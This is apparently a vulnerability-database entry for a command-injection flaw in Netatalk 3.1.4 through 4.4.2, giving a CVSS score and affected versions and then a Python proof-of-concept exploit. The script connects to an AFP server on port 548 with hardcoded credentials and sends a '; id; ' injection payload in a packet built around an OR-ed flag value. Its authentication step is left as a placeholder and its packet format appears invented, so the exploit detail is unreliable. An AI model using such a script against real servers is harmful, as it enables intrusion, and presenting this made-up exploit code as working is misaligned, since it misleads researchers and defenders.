A logic error involving bitwise OR operations in Netatalk 3.1.4 through 4.4.2 allows a remote authenticated attacker to inject OS commands and execute arbitrary code.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Netatalk 3.1.4
Netatalk 3.1.5
Netatalk 4.0.0
Netatalk 4.4.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import struct
# Proof of Concept for CVE-2026-44055
# This script demonstrates the logic error exploitation concept.
# Requires valid credentials and target Netatalk version.
TARGET = "192.168.1.10"
PORT = 548
USER = "test"
PASS = "test"
def exploit():
print(f"[*] Connecting to {TARGET}:{PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
# 1. AFP Session Setup (Simplified)
# Real implementation requires handling AFP protocol handshakes (DSIOpenSession, etc.)
print("[*] Attempting authentication...")
# ... Authentication logic here ...
# 2. Triggering the Bitwise OR Logic Error
# The vulnerability allows bypassing checks via specific flags.
# We send a command injection payload.
payload = b"; id; " # Simple command injection payload
# Construct malicious packet exploiting the bitwise OR flaw
# Example: Manipulating a flag field where Option A | Option B creates an unintended permission state
malicious_packet = struct.pack(">I", 0x02) # Command ID
malicious_packet += struct.pack(">I", 0x01 | 0x04) # Exploiting bitwise OR logic error
malicious_packet += payload
print("[*] Sending malicious payload...")
s.send(malicious_packet)
# 3. Receive Response
response = s.recv(1024)
print(f"[+] Response received: {response}")
s.close()
if __name__ == "__main__":
exploit()